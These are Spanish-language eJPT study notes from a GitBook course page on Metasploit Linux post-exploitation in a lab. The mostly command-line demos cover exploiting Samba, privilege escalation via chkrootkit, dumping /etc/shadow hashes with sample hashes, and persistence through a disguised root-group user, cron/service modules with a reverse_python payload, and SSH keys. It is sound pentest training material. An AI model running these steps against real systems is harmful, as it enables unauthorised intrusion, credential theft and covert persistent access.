eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Linux Post Exploitation Modules
  • Demo: Linux Post Exploitation Modules
  • Quiz: Linux Post Exploitation Modules
  • Linux Privilege Escalation: Exploiting A Vulnerable Program
  • Linux Privilege Escalation
  • Demo: Linux Privilege Escalation: Exploiting A Vulnerable Program
  • Quiz: Linux Privilege Escalation: Exploiting A Vulnerable Program
  • Dumping Hashes With Hashdump
  • Demo: Dumping Hashes With Hashdump
  • Quiz: Dumping Hashes With Hashdump
  • Establishing Persistence On Linux
  • Demo: Establishing Persistence On Linux
  • Quiz: Establishing Persistence On Linux
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: The Metasploit Framework (MSF)
  3. Exploitation

Linux Post Exploitation

Linux Post Exploitation Modules

El MSF nos proporciona varios módulos de post explotación tanto para Windows como para Linux.

Podemos utilizar estos módulos de post explotación para enumerar información sobre el sistema Linux al que tenemos acceso actualmente:

  • Enumerate system configuration

  • Enumerate environment variables

  • Enumerate network configuration

  • VM check

  • Enumerate user history

Demo: Linux Post Exploitation Modules

msf5 > workspace -a Linux_PE
msf5 > setg RHOSTS 192.112.165.3
msf5 > db_nmap -sv 192.112.165.3

msf5 > search type:exploit samba
msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > show options
msf5 exploit(linux/samba/is_known_pipename) > exploit
# Esto le puede abrir un shell de forma automatica

# CTRL+Z y despues escalar privilegios automaticamente
msf5 exploit(linux/samba/is_known_pipename) > sessions -u 1
msf5 exploit(linux/samba/is_known_pipename) > sessions
msf5 exploit(linux/samba/is_known_pipename) > sessions 2

meterpreter > sysinfo
meterpreter > getuid

# para comandos nativos
meterpreter > shell
root@victim-l:/tmp# whoami

# Enumerar cuentas
root@victim-l:/tmp# cat /etc/passwd

# Enumerar que grupos forman parte del usuario actual
root@victim-l:/tmp# groups root

# Enumerar la version de lanzamiento/distribucion
root@victim-l:/tmp# cat /etc/*issue

# Enumerar la version del kernel y arquitectura
root@victim-l:/tmp# uname -r
root@victim-l:/tmp# uname -a

# Enumeracon de red
root@victim-l:/tmp# ip a s

# Enumerar servicios abierto
root@victim-l:/tmp# netstat -antp

# Enumerar procesos
root@victim-l:/tmp# ps aux

#Enumerar variables de entorno
root@victim-l:/tmp# env

# MODULOS DE POST-EXPLOTITATION

# Nota: Es opcional limpiar la sesion anterior "sessions -u 1"

# Modulo que mostrara todas las configuraciones
msf5 exploit(linux/samba/is_known_pipename) > search enum configs
msf5 exploit(linux/samba/is_known_pipename) > use post/linux/gather/enum_configs
msf5 post(linux/gather/enum_configs) > show options
msf5 post(linux/gather/enum_configs) > set SESSION 3
msf5 post(linux/gather/enum_configs) > run
# Obtendra todos los archivos de configuracion
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum_configs) > loot

# Modulo de Variables de entorno
msf5 post(linux/gather/enum_configs) > search env platform:linux
msf5 post(linux/gather/enum_configs) > use post/multi/gather/env
msf5 post(multi/gather/env) > show options
msf5 post(multi/gather/env) > set SESSION 1
msf5 post(multi/gather/env) > run

# Modulo para enuemrar la red
msf5 post (multi/gather/env) > search enum_network
msf5 post(linux/gather/enum_network) > show options
msf5 post(linux/gather/enum_network) > set SESSION 3
msf5 post(linux/gather/enum_network) > run
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum_network) > loot
# Pude hacer un cat a todos los archivos enumerados

# Modulo para enumero las diversas protecciones como IPTables, etc.
msf5 post(linux/gather/enum_network) > search enum_protectionsl
msf5 post(linux/gather/enum_network) > use post/linux/gather/enum_protections
msf5 post(linux/gather/enum protections) > info
msf5 post(linux/gather/enum_protections) > set SESSION 3
msf5 post(linux/gather/enum_protections) > run
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum_protections) > notes


# Modulo de enumracion del sistema
msf5 post(linux/gather/enum_protections) > search enum_system
msf5 post(linux/gather/enum_protections) > use post/linux/gather/enum_system

msf5 post(linux/gather/enum_system) > show options
msf5 post(linux/gather/enum_system) > info
msf5 post(linux/gather/enum_system) > set SESSION 3
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum_system) > loot

# Enumeracion de contenedor
msf5 post(linux/gather/enum system) > search checkcontainer
msf5 post(linux/gather/enum_system) > use post/linux/gather/checkcontaine
msf5 post(linux/gather/checkcontainer) > show options
msf5 post(linux/gather/checkcontainer) > set SESSION 3
msf5 post(linux/gather/checkcontainer) > run

# Modulo si esta virtualizado
msf5 post(linux/gather/checkcontainer) > search checkvm
msf5 post(linux/gather/checkcontainer) > use post/linux/gather/checkvm
msf5 post(linux/gather/checkvm) > show options
msf5 post(linux/gather/checkvm) > set SESSION 3
msf5 post(linux/gather/checkvm) > run

# Modulo para enumerar el historial de usuarios(comandos ejecutados x usuarios)
msf5 post(linux/gather/checkvm) > search enum_users_history
msf5 post(linux/gather/checkvm) > use post/linux/gather/enum_users_history
msf5 post(linux/gather/enum users_history) > show options
msf5 post(linux/gather/enum users_history) > set SESSION 3
msf5 post(linux/gather/enum users_history) > run
# Tambien tendra un resumen en la BD de metasploit
msf5 post(linux/gather/enum users_history) > loot

Quiz: Linux Post Exploitation Modules

Linux Privilege Escalation: Exploiting A Vulnerable Program

Linux Privilege Escalation

Las técnicas de escalada de privilegios que podemos utilizar dependerán de la versión del kernel de Linux que se esté ejecutando en el sistema de destino, así como de la versión de lanzamiento de la distribución.

MSF ofrece muy poco en lo que respecta a los módulos de explotación del kernel de Linux; sin embargo, en algunos casos, puede haber un módulo de explotación que se pueda utilizar para explotar un servicio o programa vulnerable con el fin de elevar nuestros privilegios.

Demo: Linux Privilege Escalation: Exploiting A Vulnerable Program

msf5 > workspace -a LinuxPrivEsc
msf5 > setg RHOSTS 192.124.219.31
msf5 > db_nmap -sv 192.124.219.3


msf5 > search ssh_login
msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > show options
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME jackie
msf5 auxiliary(scanner/ssh/ssh_login) > set PASSWORD password
msf5 auxiliary(scanner/ssh/ssh_login) > run

msf5 auxiliary(scanner/ssh/ssh_login) > sessions
msf5 auxiliary(scanner/ssh/ssh_login) > sessions 1
# Escalamos privilegios
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -u 1
msf5 auxiliary(scanner/ssh/ssh_login) > sessions
msf5 auxiliary(scanner/ssh/ssh_login) > sessions 2

meterpreter > sysinfo
meterpreter > getuid
meterpreter > shell

/bin/bash -i

# Enumerar usuarios
cat /etc/passwd

# Podemos identificar el programa o servicio vulnerables o enumerar los procesos
ps aux

# Identificar un proceso
cat /bin/check-down
# ! /bin/bash
while
do
/usr/local/bin/chkrootkit/chkrootkit
sleep 60
done
-x > /dev/null 2>&1

# Version chkrootkit 
chkrootkit -V
chkrootkit version 0.49


# Buscamos un exploit
msf5 auxiliary(scanner/ssh/ssh_login) > search chkrootkit
msf5 auxiliary(scanner/ssh/ssh_login) > use exploit/unix/local/chkrootkit
msf5 exploit(unix/local/chkrootkit) > show options
msf5 exploit(unix/local/chkrootkit) > info
msf5 exploit(unix/local/chkrootkit) > set CHKROOTKIT /bin/chkrootkit
msf5 exploit(unix/local/chkrootkit) > set SESSION 1
msf5 exploit(unix/local/chkrootkit) > set LHOST 192.124.219.2
msf5 exploit(unix/local/chkrootkit) > exploit
whoami

Quiz: Linux Privilege Escalation: Exploiting A Vulnerable Program

Dumping Hashes With Hashdump

Podemos volcar los hashes de usuarios de Linux con el módulo de explotación posterior hashdump.

Los hashes de contraseñas de Linux se almacenan en el archivo /etc/shadow y solo pueden acceder a ellos el usuario root o un usuario con privilegios root.

El módulo hashdump se puede utilizar para volcar los hashes de cuentas de usuario desde el archivo /etc/shadow y también se puede utilizar para deshacer el shadowing de los hashes para descifrar contraseñas con John the Ripper.

Demo: Dumping Hashes With Hashdump

msf5 > workspace -a hashdump
msf5 > setg RHOSTS 192.101.173.3
msf5 > db_nmap -sV 192.101.173.3

msf5 > search samba type: exploit
msf5 > use exploit/linux/samba/is known pipename
msf5 exploit(linux/samba/is known pipename) > show options
msf5 exploit(linux/samba/is known pipename) > exploit
# ctrl+z
msf5 exploit(linux/samba/is known pipename) > sessions -u 1
msf5 exploit(linux/samba/is known pipename) > sessions 2
meterpreter > hashdump
Unknown command: hashdump.

# En este caso sera necesario utilizar un modulo que haga el volcado
# Para ello sera necesario enumerar
meterpreter > sysinfo
meterpreter > getuid

# abrimos una shell para verificar si somos root
meterpreter > shell
whoami

msf5 exploit(linux/samba/is_known_pipename) > search hashdump
msf5 exploit(linux/samba/is_known_pipename) > use post/linux/gather/hashdump
msf5 post(linux/gather/hashdump) > show options
msf5 post(linux/gather/hashdump) > set SESSION 3
msf5 post(linux/gather/hashdump) > run
msf5 post(linux/gather/hashdump) > loot
# demos de imprimir el archivo shadow (donde se guarda los hash de los passwords)
msf5 post(linux/gather/hashdump) > cat /root/.msf4/100t/20211127211028 hashdump_192.101.173.3_1inux.shadow 465878.txt

root : $6$erMXNN3Y$dFVyG199NDTPR40v7epcuSpsB8sJQRJ4NCfVWivSycuOfSsH45MIFoaEHFUG.6WJ4cfSGm40izi1SPtms1EK1. : O : O : root : / root : /bin/bash
alexis : $6$9B7Nmpd3$JW3ei1vcGSHraS1kRxe6A/RKWNSwTv/teRpQ4yxVT21mfsfv4. IZSUyq5/Qb3ySxGVb6DZnCb1NLIKE968uSw1 : 1000 : 1000 : : /home/alexis : /bin/bash

# NOTA: El numero que este entre los imbolos del dolar, es el algorritmo que se utilizo para
# cifrar el password
# cuanto mayor sea el numero,mas fuerte sera el algoritmo hash utilizado


Quiz: Dumping Hashes With Hashdump

Establishing Persistence On Linux

La persistencia consiste en técnicas que utilizan los adversarios para mantener el acceso a los sistemas tras reinicios, cambios de credenciales y otras interrupciones que podrían cortarles el acceso.

Obtener un punto de apoyo inicial no es suficiente, es necesario configurar y mantener un acceso persistente a los objetivos.

Las técnicas de persistencia que se pueden utilizar dependerán de la configuración del objetivo.

Podemos utilizar varios módulos de persistencia posteriores a la explotación para garantizar que siempre tengamos acceso al sistema objetivo.

Demo: Establishing Persistence On Linux

msf5 > workspace -a Linux persistence
msf5 > setg RHOSTS 192.182.80.3

msf5 > search ssh_login
msf5 > use auxiliary/ scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > show options
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME jackie
msf5 auxiliary(scanner/ssh/ssh_login) > set PASSWORD password
msf5 auxiliary(scanner/ssh/ssh login) > exploit
msf5 auxiliary(scanner/ssh/ssh_login) > sessions
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -u 1
# Explotar la vulnerabilidad
msf5 auxiliary(scanner/ssh/ssh_login) > search chkrootkit
msf5 auxiliary(scanner/ssh/ssh_login) > use exploit/unix/local/chkrootkit
msf5 exploit(unix/local/chkrootkit) > show options
msf5 exploit(unix/local/chkrootkit) > set SESSION 2
msf5 exploit(unix/local/chkrootkit) > set CHKROOTKIT /bin/chkrootkit
msf5 exploit(unix/local/chkrootkit) > exploit
msf5 exploit(unix/local/chkrootkit) > show options
msf5 exploit(unix/local/chkrootkit) > set LHOST 192.182.80.2
# Verificar que el puerto no esta entrando en conflicto con otras session
msf5 exploit(unix/local/chkrootkit) > sessions
msf5 exploit(unix/local/chkrootkit) > exploit
msf5 exploit(unix/local/chkrootkit) > sessions -u 3
msf5 exploit(unix/local/chkrootkit) > sessions
msf5 exploit(unix/local/chkrootkit) > sessions 4

meterpreter > getuid
meterpreter > shell
/bin/bash -i
whoami

# PERSISTENCIA
# Primera tecnica
# Verificar que tenga SSH y crear el usuario con un nombre desapersibido
useradd -m ftp -s /bin/bash
passwd ftp
usermod -aG root ftp
usermod -u 15 ftp
cat /etc/passwd
ftp:x:15:1001::/home/ftp:/bin/bash

# Segunda tecnica
# Por modulos
msf5 exploit(unix/local/chkrootkit) > search platform:linux persistence
msf5 exploit(unix/local/chkrootkit) > use exploit/linux/local/apt_package_manager_persistence
msf5 exploit(linux/local/apt_package_manager_persistence) > show options
msf5 exploit(linux/local/apt_package_manager_persistence) > info

msf5 exploit(linux/local/apt_package_manager persistence) > search platform:linux persistence
msf5 exploit(linux/local/apt_package_manager persistence) > use exploit/linux/local/cron_persistence
msf5 exploit(linux/local/cron_persistence) > show options
msf5 exploit(linux/local/cron_persistence) > set SESSION 4
msf5 exploit(linux/local/cron_persistence) > sessions
# Verificar que no exista conflicto con los puertos
msf5 exploit(linux/local/cron_persistence) > exploit

# En caso de que no funcione debe de probar otros modulos
msf5 exploit(linux/local/cron_persistence) > search platform:linux persistence
msf5 exploit(linux/local/service_persistence) > show options
msf5 exploit(linux/local/cron_persistence) > use exploit/linux/local/service persistence

msf5 exploit(linux/local/service_persistence) > set SESSION 1
msf5 exploit(linux/local/service persistence) > set payload cmd/unix/reverse_python
msf5 exploit(linux/local/service_persistence) > set LHOST 192.182.80.2
msf5 exploit(linux/local/service_persistence) > set LPORT 4422
msf5 exploit(linux/local/service persistence) > exploit
msf5 exploit(linux/local/service persistence) > info
# Probar el explout con cualquiera de las siguientes opcioens
msf5 exploit(linux/local/service persistence) > set target 3
msf5 exploit(linux/local/service persistence) > set target 4

msf5 exploit(linux/local/service persistence) > search platform: linux persistence
msf5 exploit(linux/local/service persistence) > use post/linux/manage/sshkey_persistence
msf5 post(linux/manage/sshkey_persistence) > show options
msf5 post(linux/manage/sshkey_persistence) > set CREATESSHFOLDER true
msf5 post(linux/manage/sshkey_persistence) > set SESSION 4
msf5 post(linux/manage/sshkey_persistence) > exploit
# Para ver la clave privada ssh
msf5 post(linux/manage/sshkey_persistence) > loot

# En el equipo del Hacker crear y guardar la clave privada
vim ssh_key
chmod 0400 ssh_key
ssh -i ssh_key root@192.182.80.3

Quiz: Establishing Persistence On Linux

PreviousWindows Post ExploitationNextArmitage

Last updated 9 months ago